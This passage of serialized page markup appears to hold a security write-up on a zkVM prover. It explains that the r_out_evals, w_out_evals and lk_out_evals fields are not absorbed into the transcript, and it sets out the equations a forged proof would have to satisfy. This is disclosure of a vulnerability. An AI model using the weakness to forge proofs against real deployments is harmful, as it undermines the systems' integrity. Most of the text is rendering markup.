,"children":122446},{"className":122445},[8099,8100,8101,8102],[122447],{"type":22,"tag":101,"props":122448,"children":122450},{"className":122449,"style":117777},[8053,25575,8102],[122451],{"type":27,"value":12663},{"type":22,"tag":101,"props":122453,"children":122455},{"className":122454},[25732],[122456],{"type":27,"value":25735},{"type":22,"tag":101,"props":122458,"children":122460},{"className":122459},[8079],[122461],{"type":22,"tag":101,"props":122462,"children":122465},{"className":122463,"style":122464},[8084],"height:0.2861em;",[122466],{"type":22,"tag":101,"props":122467,"children":122468},{},[],{"type":22,"tag":101,"props":122470,"children":122472},{"className":122471,"style":8134},[8133],[],{"type":22,"tag":101,"props":122474,"children":122476},{"className":122475},[8139],[122477],{"type":27,"value":114816},{"type":22,"tag":101,"props":122479,"children":122481},{"className":122480,"style":8134},[8133],[],{"type":22,"tag":101,"props":122483,"children":122485},{"className":122484},[8042],[122486,122490,122495,122505],{"type":22,"tag":101,"props":122487,"children":122489},{"className":122488,"style":8154},[8047],[],{"type":22,"tag":101,"props":122491,"children":122493},{"className":122492},[25704],[122494],{"type":27,"value":980},{"type":22,"tag":101,"props":122496,"children":122498},{"className":122497},[8053,27],[122499],{"type":22,"tag":101,"props":122500,"children":122502},{"className":122501},[8053],[122503],{"type":27,"value":122504},"state factors",{"type":22,"tag":101,"props":122506,"children":122508},{"className":122507},[25726],[122509],{"type":27,"value":2261},{"type":22,"tag":23,"props":122511,"children":122512},{},[122513],{"type":22,"tag":9370,"props":122514,"children":122515},{},[122516],{"type":27,"value":118970},{"type":22,"tag":91,"props":122518,"children":122520},{"code":122519},"ZKVMChipProof {\n r_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n w_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n lk_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n tower_proof: [...],\n gkr_iop_proof: [...],\n}\n",[122521],{"type":22,"tag":30,"props":122522,"children":122523},{"__ignoreMap":7},[122524],{"type":27,"value":122519},{"type":22,"tag":23,"props":122526,"children":122527},{},[122528,122534,122535,122541,122542,122548],{"type":22,"tag":30,"props":122529,"children":122531},{"className":122530},[],[122532],{"type":27,"value":122533},"r_out_evals",{"type":27,"value":758},{"type":22,"tag":30,"props":122536,"children":122538},{"className":122537},[],[122539],{"type":27,"value":122540},"w_out_evals",{"type":27,"value":10515},{"type":22,"tag":30,"props":122543,"children":122545},{"className":122544},[],[122546],{"type":27,"value":122547},"lk_out_evals",{"type":27,"value":122549}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":22,"tag":6828,"props":122551,"children":122552},{},[122553],{"type":22,"tag":6832,"props":122554,"children":122555},{},[122556,122561,122563,122569],{"type":22,"tag":9370,"props":122557,"children":122558},{},[122559],{"type":27,"value":122560},"GKR/Tower equation",{"type":27,"value":122562}," (linear in ",{"type":22,"tag":30,"props":122564,"children":122566},{"className":122565},[],[122567],{"type":27,"value":122568},"out_evals",{"type":27,"value":27944},{"type":22,"tag":23,"props":122571,"children":122572},{},[122573,122575],{"type":27,"value":122574},"The tower sumcheck claim is ",{"type":22,"tag":30,"props":122576,"children":122578},{"className":122577},[8026,8027],[122579],{"type":22,"tag":101,"props":122580,"children":122582},{"className":122581},[8032],[122583],{"type":22,"tag":101,"props":122584,"children":122586},{"className":122585,"ariaHidden":5608},[8037],[122587,122618,122743],{"type":22,"tag":101,"props":122588,"children":122590},{"className":122589},[8042],[122591,122595,122605,122609,122614],{"type":22,"tag":101,"props":122592,"children":122594},{"className":122593,"style":96469},[8047],[],{"type":22,"tag":101,"props":122596,"children":122598},{"className":122597},[8053,27],[122599],{"type":22,"tag":101,"props":122600,"children":122602},{"className":122601},[8053],[122603],{"type":27,"value":122604},"claim",{"type":22,"tag":101,"props":122606,"children":122608},{"className":122607,"style":8231},[8133],[],{"type":22,"tag":101,"props":122610,"children":122612},{"className":122611},[8236],[122613],{"type":27,"value":1511},{"type":22,"tag":101,"props":122615,"children":122617},{"className":122616,"style":8231},[8133],[],{"type":22,"tag":101,"props":122619,"children":122621},{"className":122620},[8042],[122622,122627,122684,122688,122730,122734,122739],{"type":22,"tag":101,"props":122623,"children":122626},{"className":122624,"style":122625},[8047],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":22,"tag":101,"props":122628,"children":122630},{"className":122629},[25611],[122631,122636],{"type":22,"tag":101,"props":122632,"children":122634},{"className":122633,"style":25618},[25611,25616,25617],[122635],{"type":27,"value":112349},{"type":22,"tag":101,"props":122637,"children":122639},{"className":122638},[8069],[122640],{"type":22,"tag":101,"props":122641,"children":122643},{"className":122642},[8074,25629],[122644,122673],{"type":22,"tag":101,"props":122645,"children":122647},{"className":122646},[8079],[122648,122668],{"type":22,"tag":101,"props":122649,"children":122651},{"className":122650,"style":117761},[8084],[122652],{"type":22,"tag":101,"props":122653,"children":122654},{"style":25642},[122655,122659],{"type":22,"tag":101,"props":122656,"children":122658},{"className":122657,"style":8094},[8093],[],{"type":22,"tag":101,"props":122660,"children":122662},{"className":122661},[8099,8100,8101,8102],[122663],{"type":22,"tag":101,"props":122664,"children":122666},{"className":122665,"style":117777},[8053,25575,8102],[122667],{"type":27,"value":12663},{"type":22,"tag":101,"props":122669,"children":122671},{"className":122670},[25732],[122672],{"type":27,"value":25735},{"type":22,"tag":101,"props":122674,"children":122676},{"className":122675},[8079],[122677],{"type":22,"tag":101,"props":122678,"children":122680},{"className":122679,"style":117792},[8084],[122681],{"type":22,"tag":101,"props":122682,"children":122683},{},[],{"type":22,"tag":101,"props":122685,"children":122687},{"className":122686,"style":8172},[8133],[],{"type":22,"tag":101,"props":122689,"children":122691},{"className":122690},[8053],[122692,122697],{"type":22,"tag":101,"props":122693,"children":122695},{"className":122694,"style":118642},[8053,25575],[122696],{"type":27,"value":118645},{"type":22,"tag":101,"props":122698,"children":122700},{"className":122699},[8069],[122701],{"type":22,"tag":101,"props":122702,"children":122704},{"className":122703},[8074],[122705],{"type":22,"tag":101,"props":122706,"children":122708},{"className":122707},[8079],[122709],{"type":22,"tag":101,"props":122710,"children":122713},{"className":122711,"style":122712},[8084],"height:0.8247em;",[122714],{"type":22,"tag":101,"props":122715,"children":122716},{"style":8088},[122717,122721],{"type":22,"tag":101,"props":122718,"children":122720},{"className":122719,"style":8094},[8093],[],{"type":22,"tag":101,"props":122722,"children":122724},{"className":122723},[8099,8100,8101,8102],[122725],{"type":22,"tag":101,"props":122726,"children":122728},{"className":122727,"style":117777},[8053,25575,8102],[122729],{"type":27,"value":12663},{"type":22,"tag":101,"props":122731,"children":122733},{"className":122732,"style":8134},[8133],[],{"type":22,"tag":101,"props":122735,"children":122737},{"className":122736},[8139],[122738],{"type":27,"value":114816},{"type":22,"tag":101,"props":122740,"children":122742},{"className":122741,"style":8134},[8133],[],{"type":22,"tag":101,"props":122744,"children":122746},{"className":122745},[8042],[122747,122751,122760,122765],{"type":22,"tag":101,"props":122748,"children":122750},{"className":122749,"style":97967},[8047],[],{"type":22,"tag":101,"props":122752,"children":122754},{"className":122753},[8053,27],[122755],{"type":22,"tag":101,"props":122756,"children":122758},{"className":122757},[8053],[122759],{"type":27,"value":122228},{"type":22,"tag":101,"props":122761,"children":122763},{"className":122762,"style":96554},[8053],[122764],{"type":27,"value":6382},{"type":22,"tag":101,"props":122766,"children":122768},{"className":122767},[8053],[122769,122778],{"type":22,"tag":101,"props":122770,"children":122772},{"className":122771},[8053,27],[122773],{"type":22,"tag":101,"props":122774,"children":122776},{"className":122775},[8053],[122777],{"type":27,"value":122247},{"type":22,"tag":101,"props":122779,"children":122781},{"className":122780},[8069],[122782],{"type":22,"tag":101,"props":122783,"children":122785},{"className":122784},[8074,25629],[122786,122815],{"type":22,"tag":101,"props":122787,"children":122789},{"className":122788},[8079],[122790,122810],{"type":22,"tag":101,"props":122791,"children":122793},{"className":122792,"style":97083},[8084],[122794],{"type":22,"tag":101,"props":122795,"children":122796},{"style":117684},[122797,122801],{"type":22,"tag":101,"props":122798,"children":122800},{"className":122799,"style":8094},[8093],[],{"type":22,"tag":101,"props":122802,"children":122804},{"className":122803},[8099,8100,8101,8102],[122805],{"type":22,"tag":101,"props":122806,"children":122808},{"className":122807,"style":117777},[8053,25575,8102],[122809],{"type":27,"value":12663},{"type":22,"tag":101,"props":122811,"children":122813},{"className":122812},[25732],[122814],{"type":27,"value":25735},{"type":22,"tag":101,"props":122816,"children":122818},{"className":122817},[8079],[122819],{"type":22,"tag":101,"props":122820,"children":122822},{"className":122821,"style":122464},[8084],[122823],{"type":22,"tag":101,"props":122824,"children":122825},{},[],{"type":22,"tag":23,"props":122827,"children":122828},{},[122829,122831,122836],{"type":27,"value":122830},"This check is linear in ",{"type":22,"tag":30,"props":122832,"children":122834},{"className":122833},[],[122835],{"type":27,"value":122568},{"type":27,"value":231},{"type":22,"tag":6828,"props":122838,"children":122839},{"start":157},[122840],{"type":22,"tag":6832,"props":122841,"children":122842},{},[122843,122848,122850,122855],{"type":22,"tag":9370,"props":122844,"children":122845},{},[122846],{"type":27,"value":122847},"rw-product consistency",{"type":27,"value":122849}," (bilinear in ",{"type":22,"tag":30,"props":122851,"children":122853},{"className":122852},[],[122854],{"type":27,"value":122568},{"type":27,"value":27944},{"type":22,"tag":23,"props":122857,"children":122858},{},[122859],{"type":22,"tag":30,"props":122860,"children":122862},{"className":122861},[8026,8027],[122863],{"type":22,"tag":101,"props":122864,"children":122866},{"className":122865},[8032],[122867],{"type":22,"tag":101,"props":122868,"children":122870},{"className":122869,"ariaHidden":5608},[8037],[122871,123042,123213],{"type":22,"tag":101,"props":122872,"children":122874},{"className":122873},[8042],[122875,122879,122936,122940,122949,122954,122963,122968,123029,123033,123038],{"type":22,"tag":101,"props":122876,"children":122878},{"className":122877,"style":96496},[8047],[],{"type":22,"tag":101,"props":122880,"children":122882},{"className":122881},[25611],[122883,122888],{"type":22,"tag":101,"props":122884,"children":122886},{"className":122885,"style":25618},[25611,25616,25617],[122887],{"type":27,"value":122152},{"type":22,"tag":101,"props":122889,"children":122891},{"className":122890},[8069],[122892],{"type":22,"tag":101,"props":122893,"children":122895},{"className":122894},[8074,25629],[122896,122925],{"type":22,"tag":101,"props":122897,"children":122899},{"className":122898},[8079],[122900,122920],{"type":22,"tag":101,"props":122901,"children":122903},{"className":122902,"style":117761},[8084],[122904],{"type":22,"tag":101,"props":122905,"children":122906},{"style":25642},[122907,122911],{"type":22,"tag":101,"props":122908,"children":122910},{"className":122909,"style":8094},[8093],[],{"type":22,"tag":101,"props":122912,"children":122914},{"className":122913},[8099,8100,8101,8102],[122915],{"type":22,"tag":101,"props":122916,"children":122918},{"className":122917},[8053,25575,8102],[122919],{"type":27,"value":7774},{"type":22,"tag":101,"props":122921,"children":122923},{"className":122922},[25732],[122924],{"type":27,"value":25735},{"type":22,"tag":101,"props":122926,"children":122928},{"className":122927},[8079],[122929],{"type":22,"tag":101,"props":122930,"children":122932},{"className":122931,"style":118041},[8084],[122933],{"type":22,"tag":101,"props":122934,"children":122935},{},[],{"type":22,"tag":101,"props":122937,"children":122939},{"className":122938,"style":8172},[8133],[],{"type":22,"tag":101,"props":122941,"children":122943},{"className":122942},[8053,27],[122944],{"type":22,"tag":101,"props":122945,"children":122947},{"className":122946},[8053],[122948],{"type":27,"value":97373},{"type":22,"tag":101,"props":122950,"children":122952},{"className":122951,"style":96554},[8053],[122953],{"type":27,"value":6382},{"type":22,"tag":101,"props":122955,"children":122957},{"className":122956},[8053,27],[122958],{"type":22,"tag":101,"props":122959,"children":122961},{"className":122960},[8053],[122962],{"type":27,"value":122228},{"type":22,"tag":101,"props":122964,"children":122966},{"className":122965,"style":96554},[8053],[122967],{"type":27,"value":6382},{"type":22,"tag":101,"props":122969,"children":122971},{"className":122970},[8053],[122972,122981],{"type":22,"tag":101,"props":122973,"children":122975},{"className":122974},[8053,27],[122976],{"type":22,"tag":101,"props":122977,"children":122979},{"className":122978},[8053],[122980],{"type":27,"value":122247},{"type":22,"tag":101,"props":122982,"children":122984},{"className":122983},[8069],[122985],{"type":22,"tag":101,"props":122986,"children":122988},{"className":122987},[8074,25629],[122989,123018],{"type":22,"tag":101,"props":122990,"children":122992},{"className":122991},[8079],[122993,123013],{"type":22,"tag":101,"props":122994,"children":122996},{"className":122995,"style":97083},[8084],[122997],{"type":22,"tag":101,"props":122998,"children":122999},{"style":117684},[123000,123004],{"type":22,"tag":101,"props":123001,"children":123003},{"className":123002,"style":8094},[8093],[],{"type":22,"tag":101,"props":123005,"children":123007},{"className":123006},[8099,8100,8101,8102],[123008],{"type":22,"tag":101,"props":123009,"children":123011},{"className":123010},[8053,25575,8102],[123012],{"type":27,"value":7774},{"type":22,"tag":101,"props":123014,"children":123016},{"className":123015},[25732],[123017],{"type":27,"value":25735},{"type":22,"tag":101,"props":123019,"children":123021},{"className":123020},[8079],[123022],{"type":22,"tag":101,"props":123023,"children":123025},{"className":123024,"style":96637},[8084],[123026],{"type":22,"tag":101,"props":123027,"children":123028},{},[],{"type":22,"tag":101,"props":123030,"children":123032},{"className":123031,"style":8231},[8133],[],{"type":22,"tag":101,"props":123034,"children":123036},{"className":123035},[8236],[123037],{"type":27,"value":1511},{"type":22,"tag":101,"props":123039,"children":123041},{"className":123040,"style":8231},[8133],[],{"type":22,"tag":101,"props":123043,"children":123045},{"className":123044},[8042],[123046,123050,123107,123111,123120,123125,123134,123139,123200,123204,123209],{"type":22,"tag":101,"props":123047,"children":123049},{"className":123048,"style":122316},[8047],[],{"type":22,"tag":101,"props":123051,"children":123053},{"className":123052},[25611],[123054,123059],{"type":22,"tag":101,"props":123055,"children":123057},{"className":123056,"style":25618},[25611,25616,25617],[123058],{"type":27,"value":122152},{"type":22,"tag":101,"props":123060,"children":123062},{"className":123061},[8069],[123063],{"type":22,"tag":101,"props":123064,"children":123066},{"className":123065},[8074,25629],[123067,123096],{"type":22,"tag":101,"props":123068,"children":123070},{"className":123069},[8079],[123071,123091],{"type":22,"tag":101,"props":123072,"children":123074},{"className":123073,"style":117761},[8084],[123075],{"type":22,"tag":101,"props":123076,"children":123077},{"style":25642},[123078,123082],{"type":22,"tag":101,"props":123079,"children":123081},{"className":123080,"style":8094},[8093],[],{"type":22,"tag":101,"props":123083,"children":123085},{"className":123084},[8099,8100,8101,8102],[123086],{"type":22,"tag":101,"props":123087,"children":123089},{"className":123088,"style":117777},[8053,25575,8102],[123090],{"type":27,"value":12663},{"type":22,"tag":101,"props":123092,"children":123094},{"className":123093},[25732],[123095],{"type":27,"value":25735},{"type":22,"tag":101,"props":123097,"children":123099},{"className":123098},[8079],[123100],{"type":22,"tag":101,"props":123101,"children":123103},{"className":123102,"style":117792},[8084],[123104],{"type":22,"tag":101,"props":123105,"children":123106},{},[],{"type":22,"tag":101,"props":123108,"children":123110},{"className":123109,"style":8172},[8133],[],{"type":22,"tag":101,"props":123112,"children":123114},{"className":123113},[8053,27],[123115],{"type":22,"tag":101,"props":123116,"children":123118},{"className":123117},[8053],[123119],{"type":27,"value":53568},{"type":22,"tag":101,"props":123121,"children":123123},{"className":123122,"style":96554},[8053],[123124],{"type":27,"value":6382},{"type":22,"tag":101,"props":123126,"children":123128},{"className":123127},[8053,27],[123129],{"type":22,"tag":101,"props":123130,"children":123132},{"className":123131},[8053],[123133],{"type":27,"value":122228},{"type":22,"tag":101,"props":123135,"children":123137},{"className":123136,"style":96554},[8053],[123138],{"type":27,"value":6382},{"type":22,"tag":101,"props":123140,"children":123142},{"className":123141},[8053],[123143,123152],{"type":22,"tag":101,"props":123144,"children":123146},{"className":123145},[8053,27],[123147],{"type":22,"tag":101,"props":123148,"children":123150},{"className":123149},[8053],[123151],{"type":27,"value":122247},{"type":22,"tag":101,"props":123153,"children":123155},{"className":123154},[8069],[123156],{"type":22,"tag":101,"props":123157,"children":123159},{"className":123158},[8074,25629],[123160,123189],{"type":22,"tag":101,"props":123161,"children":123163},{"className":123162},[8079],[123164,123184],{"type":22,"tag":101,"props":123165,"children":123167},{"className":123166,"style":97083},[8084],[123168],{"type":22,"tag":101,"props":123169,"children":123170},{"style":117684},[123171,123175],{"type":22,"tag":101,"props":123172,"children":123174},{"className":123173,"style":8094},[8093],[],{"type":22,"tag":101,"props":123176,"children":123178},{"className":123177},[8099,8100,8101,8102],[123179],{"type":22,"tag":101,"props":123180,"children":123182},{"className":123181,"style":117777},[8053,25575,8102],[123183],{"type":27,"value":12663},{"type":22,"tag":101,"props":123185,"children":123187},{"className":123186},[25732],[123188],{"type":27,"value":25735},{"type":22,"tag":101,"props":123190,"children":123192},{"className":123191},[8079],[123193],{"type":22,"tag":101,"props":123194,"children":123196},{"className":123195,"style":122464},[8084],[123197],{"type":22,"tag":101,"props":123198,"children":123199},{},[],{"type":22,"tag":101,"props":123201,"children":123203},{"className":123202,"style":8134},[8133],[],{"type":22,"tag":101,"props":123205,"children":123207},{"className":123206},[8139],[123208],{"type":27,"value":114816},{"type":22,"tag":101,"props":123210,"children":123212},{"className":123211,"style":8134},[8133],[],{"type":22,"tag":101,"props":123214,"children":123216},{"className":123215},[8042],[123217,123221,123226,123235],{"type":22,"tag":101,"props":123218,"children":123220},{"className":123219,"style":8154},[8047],[],{"type":22,"tag":101,"props":123222,"children":123224},{"className":123223},[25704],[123225],{"type":27,"value":980},{"type":22,"tag":101,"props":123227,"children":123229},{"className":123228},[8053,27],[123230],{"type":22,"tag":101,"props":123231,"children":123233},{"className":123232},[8053],[123234],{"type":27,"value":122504},{"type":22,"tag":101,"props":123236,"children":123238},{"className":123237},[25726],[123239],{"type":27,"value":2261},{"type":22,"tag":23,"props":123241,"children":123242},{},[123243,123245,123414,123415,123584],{"type":27,"value":123244},"If we vary ",{"type":22,"tag":30,"props":123246,"children":123248},{"className":123247},[8026,8027],[123249],{"type":22,"tag":101,"props":123250,"children":123252},{"className":123251},[8032],[123253],{"type":22,"tag":101,"props":123254,"children":123256},{"className":123255,"ariaHidden":5608},[8037],[123257,123335],{"type":22,"tag":101,"props":123258,"children":123260},{"className":123259},[8042],[123261,123265,123322,123326,123331],{"type":22,"tag":101,"props":123262,"children":123264},{"className":123263,"style":113524},[8047],[],{"type":22,"tag":101,"props":123266,"children":123268},{"className":123267},[8053],[123269,123274],{"type":22,"tag":101,"props":123270,"children":123272},{"className":123271},[8053,25575],[123273],{"type":27,"value":23266},{"type":22,"tag":101,"props":123275,"children":123277},{"className":123276},[8069],[123278],{"type":22,"tag":101,"props":123279,"children":123281},{"className":123280},[8074,25629],[123282,123311],{"type":22,"tag":101,"props":123283,"children":123285},{"className":123284},[8079],[123286,123306],{"type":22,"tag":101,"props":123287,"children":123289},{"className":123288,"style":96606},[8084],[123290],{"type":22,"tag":101,"props":123291,"children":123292},{"style":96610},[123293,123297],{"type":22,"tag":101,"props":123294,"children":123296},{"className":123295,"style":8094},[8093],[],{"type":22,"tag":101,"props":123298,"children":123300},{"className":123299},[8099,8100,8101,8102],[123301],{"type":22,"tag":101,"props":123302,"children":123304},{"className":123303},[8053,8102],[123305],{"type":27,"value":8065},{"type":22,"tag":101,"props":123307,"children":123309},{"className":123308},[25732],[123310],{"type":27,"value":25735},{"type":22,"tag":101,"props":123312,"children":123314},{"className":123313},[8079],[123315],{"type":22,"tag":101,"props":123316,"children":123318},{"className":123317,"style":96637},[8084],[123319],{"type":22,"tag":101,"props":123320,"children":123321},{},[],{"type":22,"tag":101,"props":123323,"children":123325},{"className":123324,"style":8231},[8133],[],{"type":22,"tag":101,"props":123327,"children":123329},{"className":123328},[8236],[123330],{"type":27,"value":1511},{"type":22,"tag":101,"props":123332,"children":123334},{"className":123333,"style":8231},[8133],[],{"type":22,"tag":101,"props":123336,"children":123338},{"className":123337},[8042],[123339,123343,123384,123389,123394,123399,123404,123409],{"type":22,"tag":101,"props":123340,"children":123342},{"className":123341,"style":96496},[8047],[],{"type":22,"tag":101,"props":123344,"children":123346},{"className":123345},[8053],[123347,123356,123361,123370,123375],{"type":22,"tag":101,"props":123348,"children":123350},{"className":123349},[8053,27],[123351],{"type":22,"tag":101,"props":123352,"children":123354},{"className":123353},[8053],[123355],{"type":27,"value":97373},{"type":22,"tag":101,"props":123357,"children":123359},{"className":123358,"style":96554},[8053],[123360],{"type":27,"value":6382},{"type":22,"tag":101,"props":123362,"children":123364},{"className":123363},[8053,27],[123365],{"type":22,"tag":101,"props":123366,"children":123368},{"className":123367},[8053],[123369],{"type":27,"value":122228},{"type":22,"tag":101,"props":123371,"children":123373},{"className":123372,"style":96554},[8053],[123374],{"type":27,"value":6382},{"type":22,"tag":101,"props":123376,"children":123378},{"className":123377},[8053,27],[123379],{"type":22,"tag":101,"props":123380,"children":123382},{"className":123381},[8053],[123383],{"type":27,"value":122247},{"type":22,"tag":101,"props":123385,"children":123387},{"className":123386},[25704],[123388],{"type":27,"value":2414},{"type":22,"tag":101,"props":123390,"children":123392},{"className":123391},[8053],[123393],{"type":27,"value":8065},{"type":22,"tag":101,"props":123395,"children":123397},{"className":123396},[25726],[123398],{"type":27,"value":19412},{"type":22,"tag":101,"props":123400,"children":123402},{"className":123401},[25704],[123403],{"type":27,"value":2414},{"type":22,"tag":101,"props":123405,"children":123407},{"className":123406},[8053],[123408],{"type":27,"value":8065},{"type":22,"tag":101,"props":123410,"children":123412},{"className":123411},[25726],[123413],{"type":27,"value":19412},{"type":27,"value":209},{"type":22,"tag":30,"props":123416,"children":123418},{"className":123417},[8026,8027],[123419],{"type":22,"tag":101,"props":123420,"children":123422},{"className":123421},[8032],[123423],{"type":22,"tag":101,"props":123424,"children":123426},{"className":123425,"ariaHidden":5608},[8037],[123427,123505],{"type":22,"tag":101,"props":123428,"children":123430},{"className":123429},[8042],[123431,123435,123492,123496,123501],{"type":22,"tag":101,"props":123432,"children":123434},{"className":123433,"style":113524},[8047],[],{"type":22,"tag":101,"props":123436,"children":123438},{"className":123437},[8053],[123439,123444],{"type":22,"tag":101,"props":123440,"children":123442},{"className":123441},[8053,25575],[123443],{"type":27,"value":23266},{"type":22,"tag":101,"props":123445,"children":123447},{"className":123446},[8069],[123448],{"type":22,"tag":101,"props":123449,"children":123451},{"className":123450},[8074,25629],[123452,123481],{"type":22,"tag":101,"props":123453,"children":123455},{"className":123454},[8079],[123456,123476],{"type":22,"tag":101,"props":123457,"children":123459},{"className":123458,"style":96606},[8084],[123460],{"type":22,"tag":101,"props":123461,"children":123462},{"style":96610},[123463,123467],{"type":22,"tag":101,"props":123464,"children":123466},{"className":123465,"style":8094},[8093],[],{"type":22,"tag":101,"props":123468,"children":123470},{"className":123469},[8099,8100,8101,8102],[123471],{"type":22,"tag":101,"props":123472,"children":123474},{"className":123473},[8053,8102],[123475],{"type":27,"value":6813},{"type":22,"tag":101,"props":123477,"children":123479},{"className":123478},[25732],[123480],{"type":27,"value":25735},{"type":22,"tag":101,"props":123482,"children":123484},{"className":123483},[8079],[123485],{"type":22,"tag":101,"props":123486,"children":123488},{"className":123487,"style":96637},[8084],[123489],{"type":22,"tag":101,"props":123490,"children":123491},{},[],{"type":22,"tag":101,"props":123493,"children":123495},{"className":123494,"style":8231},[8133],[],{"type":22,"tag":101,"props":123497,"children":123499},{"className":123498},[8236],[123500],{"type":27,"value":1511},{"type":22,"tag":101,"props":123502,"children":123504},{"className":123503,"style":8231},[8133],[],{"type":22,"tag":101,"props":123506,"children":123508},{"className":123507},[8042],[123509,123513,123554,123559,123564,123569,123574,123579],{"type":22,"tag":101,"props":123510,"children":123512},{"className":123511,"style":96496},[8047],[],{"type":22,"tag":101,"props":123514,"children":123516},{"className":123515},[8053],[123517,123526,123531,123540,123545],{"type":22,"tag":101,"props":123518,"children":123520},{"className":123519},[8053,27],[123521],{"type":22,"tag":101,"props":123522,"children":123524},{"className":123523},[8053],[123525],{"type":27,"value":97373},{"type":22,"tag":101,"props":123527,"children":123529},{"className":123528,"style":96554},[8053],[123530],{"type":27,"value":6382},{"type":22,"tag":101,"props":123532,"children":123534},{"className":123533},[8053,27],[123535],{"type":22,"tag":101,"props":123536,"children":123538},{"className":123537},[8053],[123539],{"type":27,"value":122228},{"type":22,"tag":101,"props":123541,"children":123543},{"className":123542,"style":96554},[8053],[123544],{"type":27,"value":6382},{"type":22,"tag":101,"props":123546,"children":123548},{"className":123547},[8053,27],[123549],{"type":22,"tag":101,"props":123550,"children":123552},{"className":123551},[8053],[123553],{"type":27,"value":122247},{"type":22,"tag":101,"props":123555,"children":123557},{"className":123556},[25704],[123558],{"type":27,"value":2414},{"type":22,"tag":101,"props":123560,"children":123562},{"className":123561},[8053],[123563],{"type":27,"value":8065},{"type":22,"tag":101,"props":123565,"children":123567},{"className":123566},[25726],[123568],{"type":27,"value":19412},{"type":22,"tag":101,"props":123570,"children":123572},{"className":123571},[25704],[123573],{"type":27,"value":2414},{"type":22,"tag":101,"props":123575,"children":123577},{"className":123576},[8053],[123578],{"type":27,"value":6813},{"type":22,"tag":101,"props":123580,"children":123582},{"className":123581},[25726],[123583],{"type":27,"value":19412},{"type":27,"value":123585}," we get the following constraint:",{"type":22,"tag":23,"props":123587,"children":123588},{},[123589],{"type":22,"tag":30,"props":123590,"children":123592},{"className":123591},[8026,8027],[123593],{"type":22,"tag":101,"props":123594,"children":123596},{"className":123595},[8032],[123597],{"type":22,"tag":101,"props":123598,"children":123600},{"className":123599,"ariaHidden":5608},[8037],[123601,123680,123758,123799],{"type":22,"tag":101,"props":123602,"children":123604},{"className":123603},[8042],[123605,123610,123667,123671,123676],{"type":22,"tag":101,"props":123606,"children":123609},{"className":123607,"style":123608},[8047],"height:0.5945em;vertical-align:-0.15em;",[],{"type":22,"tag":101,"props":123611,"children":123613},{"className":123612},[8053],[123614,123619],{"type":22,"tag":101,"props":123615,"children":123617},{"className":123616},[8053,25575],[123618],{"type":27,"value":23266},{"type":22,"tag":101,"props":123620,"children":123622},{"className":123621},[8069],[123623],{"type":22,"tag":101,"props":123624,"children":123626},{"className":123625},[8074,25629],[123627,123656],{"type":22,"tag":101,"props":123628,"children":123630},{"className":123629},[8079],[123631,123651],{"type":22,"tag":101,"props":123632,"children":123634},{"className":123633,"style":96606},[8084],[123635],{"type":22,"tag":101,"props":123636,"children":123637},{"style":96610},[123638,123642],{"type":22,"tag":101,"props":123639,"children":123641},{"className":123640,"style":8094},[8093],[],{"type":22,"tag":101,"props":123643,"children":123645},{"className":123644},[8099,8100,8101,8102],[123646],{"type":22,"tag":101,"props":123647,"children":123649},{"className":123648},[8053,8102],[123650],{"type":27,"value":8065},{"type":22,"tag":101,"props":123652,"children":123654},{"className":123653},[25732],[123655],{"type":27,"value":25735},{"type":22,"tag":101,"props":123657,"children":123659},{"className":123658},[8079],[123660],{"type":22,"tag":101,"props":123661,"children":123663},{"className":123662,"style":96637},[8084],[123664],{"type":22,"tag":101,"props":123665,"children":123666},{},[],{"type":22,"tag":101,"props":123668,"children":123670},{"className":123669,"style":8134},[8133],[],{"type":22,"tag":101,"props":123672,"children":123674},{"className":123673},[8139],[123675],{"type":27,"value":114816},{"type":22,"tag":101,"props":123677,"children":123679},{"className":123678,"style":8134},[8133],[],{"type":22,"tag":101,"props":123681,"children":123683},{"className":123682},[8042],[123684,123688,123745,123749,123754],{"type":22,"tag":101,"props":123685,"children":123687},{"className":123686,"style":123608},[8047],[],{"type":22,"tag":101,"props":123689,"children":123691},{"className":123690},[8053],[123692,123697],{"type":22,"tag":101,"props":123693,"children":123695},{"className":123694},[8053,25575],[123696],{"type":27,"value":23266},{"type":22,"tag":101,"props":123698,"children":123700},{"className":123699},[8069],[123701],{"type":22,"tag":101,"props":123702,"children":123704},{"className":123703},[8074,25629],[123705,123734],{"type":22,"tag":101,"props":123706,"children":123708},{"className":123707},[8079],[123709,123729],{"type":22,"tag":101,"props":123710,"children":123712},{"className":123711,"style":96606},[8084],[123713],{"type":22,"tag":101,"props":123714,"children":123715},{"style":96610},[123716,123720],{"type":22,"tag":101,"props":123717,"children":123719},{"className":123718,"style":8094},[8093],[],{"type":22,"tag":101,"props":123721,"children":123723},{"className":123722},[8099,8100,8101,8102],[123724],{"type":22,"tag":101,"props":123725,"children":123727},{"className":123726},[8053,8102],[123728],{"type":27,"value":6813},{"type":22,"tag":101,"props":123730,"children":123732},{"className":123731},[25732],[123733],{"type":27,"value":25735},{"type":22,"tag":101,"props":123735,"children":123737},{"className":123736},[8079],[123738],{"type":22,"tag":101,"props":123739,"children":123741},{"className":123740,"style":96637},[8084],[123742],{"type":22,"tag":101,"props":123743,"children":123744},{},[],{"type":22,"tag":101,"props":123746,"children":123748},{"className":123747,"style":8134},[8133],[],{"type":22,"tag":101,"props":123750,"children":123752},{"className":123751},[8139],[123753],{"type":27,"value":114816},{"type":22,"tag":101,"props":123755,"children":123757},{"className":123756,"style":8134},[8133],[],{"type":22,"tag":101,"props":123759,"children":123761},{"className":123760},[8042],[123762,123766,123771,123781,123786,123790,123795],{"type":22,"tag":101,"props":123763,"children":123765},{"className":123764,"style":8154},[8047],[],{"type":22,"tag":101,"props":123767,"children":123769},{"className":123768},[25704],[123770],{"type":27,"value":980},{"type":22,"tag":101,"props":123772,"children":123774},{"className":123773},[8053,27],[123775],{"type":22,"tag":101,"props":123776,"children":123778},{"className":123777},[8053],[123779],{"type":27,"value":123780},"rest of 